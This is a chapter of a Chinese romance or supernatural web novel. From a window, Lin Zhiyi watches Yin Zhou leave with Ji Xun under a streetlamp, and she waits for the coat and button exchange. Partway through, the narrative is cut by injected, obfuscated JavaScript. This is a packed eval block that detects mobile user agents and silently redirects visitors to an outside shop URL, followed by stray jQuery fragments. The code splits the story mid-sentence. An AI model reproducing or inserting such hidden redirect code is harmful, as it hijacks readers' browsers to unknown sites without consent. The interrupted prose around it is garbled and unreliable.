黄昏的光从窗口斜切进来，落到地板上的时候已经带上了路灯即将亮起之前的暖橙色。林知意站在窗台边，手搭在窗台面上，窗台外侧的瓷砖是空的。季循还没有来。
殷昼坐在她身后的地板上，完整的身形靠在沙发边缘，面朝她的方向。他没有说话，也没有在计时。两人之间隔着大约两步的距离，她的影子从窗台边延伸到他脚边，和他的影子在光线上交错了一下又分开。天色从暖橙变成灰蓝，路灯亮了起来。光从灯罩里涌出来，先照亮灯杆底部，然后向外扩散，在后巷第三个路灯底座的周围铺成一片椭圆形的浅金色光圈。
季循从转角走出来。深灰色外套，领子没有立起来，完整的身形从路灯的光圈边缘走入中心，然后站定了。他没有背对着。他面朝着四楼窗口的方向，完整的面孔在路灯的光里被从下方照亮，视线落在窗台的位置。没有移开，没有偏移。
林知意站在窗台边，手还搭在窗台上，没有拿开。她没有说话。
季循面朝她站着。路灯把他的轮廓完整地照了出来，从肩线到领口到下颌线，全部落在光里。她看了他几秒，然后偏头看向身后的殷昼。殷昼已经站起来了。他从地板上站起来的过程中完整的面孔一直朝着她的方向。“他转过来了。”她说。他走到她旁边，从她肩侧的位置往下看了一眼路灯底下的季循。路灯下的人没有移动，但在他看向他的那一瞬间，季循微微侧了一下头——像是确认他已经看到了。
殷昼转回视线看着她的侧脸：“他到第三晚才转过来。今晚就是触发条件预定的时间。”
他把手从外套侧袋里拿出来，掌心里放着那颗“始”字纽扣。她看着那颗纽扣，没有接。“你拿着。等你回来之后还给我。”
“我会在限时之内回来。”
她把视线从纽扣上移开，落在季循身上：“三十分钟？”
“三十分钟。”
她站在窗台边，完整地看到了他的背影穿过客厅、走向门口、拉开门、迈出去。门合上的声音比前两次轻——像是他刻意没有用正常的力度去合拢锁舌。她听着他的脚步声沿着走廊向楼梯口移动，从清晰到模糊，每一级台阶间隔均匀，没有停。单元门开了又合上。她站在窗台边没有移动，视线从关闭的门板方向移回窗外。
路灯下，殷昼正走向季循。穿过槐树底下的阴影，经过第一个路灯底座，走到第三个路灯的光圈边缘停住了。他站在季循面前，两个人之间隔着大约一步的距离。季循没有后退，没有移动。
她看见殷昼侧过身，偏头往窗台的方向看了一眼，然后转回去面对季循。路灯下两个人并排站着，她的视线范围和路灯的光圈重叠在一起，但那两个人的轮廓正在她视野的边界处逐渐变远。殷昼背对着窗台的方向，跟着季循沿着后巷向深处走。路灯的光从下往上打在他的肩线上，浅黄色外套的轮廓在巷口转角处被墙角的阴影切掉了边缘。他的身形在光与暗的交界处缩成一个色块——浅黄色的、正在缩小的点。她看着那个点越过第二个路灯，然后转弯，消失不见了。
空。
她在窗台边站了一会儿，然后退后一步，在窗台边的地板上坐了下来。窗外路灯还亮着，后巷第三个路灯底下的位置现在已经没有人了，只有光铺在地面上。她坐在窗台边，视线落在路灯底座的圆形基座上，光从上方落下来铺成一圈完整的椭圆。她低头看了一眼自己的手掌。指节是白的，指甲边缘嵌进了掌心，留下四道弯曲的压痕。
她松开手。
窗外的风从窗缝里灌进来，把她额前的碎发吹动了一下。她抬起眼，视线重新落回路灯底座上。路灯的光均匀地亮着。她数了一下路灯周围的地砖：六块整砖，三个半块。她把那个数记下来了。
过了一会儿，她站起来走到窗台边，往外探了一下视线。后巷巷口的转角处空空的，没有浅黄色的点，没有任何移动的色块。她收回视线退回窗台内侧坐了下来。她低头看着自己摊开的掌心，纽扣不在那里。殷昼带走了，他说回来之后会还给她。她等了大约三分钟，然后从地板上站起来，走进客厅倒了半杯水。水是凉的，杯子边缘在手心里抵着，她把水杯端到窗台边放下来，然后重新坐回地板上。路灯的光从窗帘未合拢的缝隙里渗进来，在地板上切成一道窄长的亮带，她坐在光带旁边，手指碰了一下光带的边缘。
后巷方向忽然亮起一个浅黄色色块——从转角处缓慢地移了出来。轮廓模糊，隔得太远，她的视线只来得及捕捉到那个色块在路灯下被放大的瞬间。一个身形穿着浅黄色外套的人从后巷深处走出来，步子不快不慢。她站起来，手搭住窗台。
那个浅黄色色块逐渐变大、变清晰，在穿过第二个路灯之后完整地露出了肩线和袖口轮廓。但袖口的边缘是垂着的。没有翻好。她认出来那件浅黄色外套，但她认出来他的走路方式——步幅一致但肩线略高。她看着那个人走到后巷第三个路灯底下停住了。完整的面孔被路灯的光照亮——是季循。他穿着那件浅黄色外套，袖口垂着。
她站在窗台边，看着路灯下的季循穿着殷昼的外套
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717514|207374||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
站在她视线范围里，代替了殷昼本该在的位置。她握着窗台边缘的手指没有收紧。她只是站在那里，看着路灯下的人穿着一件她翻过无数次的外套，袖口垂着。
大约过了三四秒，她松开了握窗台的手，退后了两步，背靠着客厅的墙壁站了一会儿，然后她重新走回窗台边坐下。她拿起那半杯凉水，握在手里没有喝。又等了一会儿，她低头看了一眼时间，然后她听到后巷传来脚步声。稳定的、间隔均匀的。脚步声在路灯底座附近停了一瞬，然后继续往单元门方向移动。单元门开了又合上，走廊传来脚步声，在四楼走廊尽头停住了。
门被推开。
殷昼站在门框里。浅黄色外套被穿在另一个人身上，他身上穿的是深灰色外套——季循的外套。他的袖口也没有翻好，垂着。完整的身形被走廊灯光从背后照亮，他站在门框里看着她：“我回来了。纽扣在这。”
她坐在窗台边，手里还握着那半杯水。她看着他走进来，走到她面前，把掌心摊开。那颗“始”字纽扣在他的掌心里，边缘光滑。她没有立刻拿。她先看了一眼他的袖口——深灰色外套的袖口垂着，没有翻好。
“他把外套换给你了。”
“对。他在巷子尽头停下，把外套脱下来给我。他在告诉我：触发已经开始了。他穿走了我的外套，我穿回他的是他穿来的那一件。”
她伸手拿走了那颗纽扣，放进自己外套口袋里。“你回来的时候比三十分钟晚了四分钟。”
“我回来的时候多绕了半条巷子。不是为了确认路径——是为了确认季循已经不在那条巷子里了。”
她站起来，把杯子放回厨房，然后走回客厅在他面前停住了。她伸手把他深灰色外套的袖口翻了上去，边缘翘起，和以前翻浅黄色外套的角度一致。“以后穿这件回来的时候，袖口也翻好。”
他站在她面前低头看着自己的袖口：“好。”
窗外路灯还亮着。后巷第三个路灯底下站着一个人——季循穿着浅黄色外套，袖口垂着，背对着窗口的方向站着。他站在那里没有移动，像是为了被看见而站在那里的。林知意走到窗台边，看到了那个背影。她没有停留太久。她拉上了窗帘。
“他站在那里多久了？”
“从你回来之前就在了。”
她转过来面朝着他的方向，隔着茶几的距离：“触发已经开始了。等备注补全之后——他会把外套还给你。”
他站在客厅灯光里看着她的方向：“那件外套我会自己拿回来。”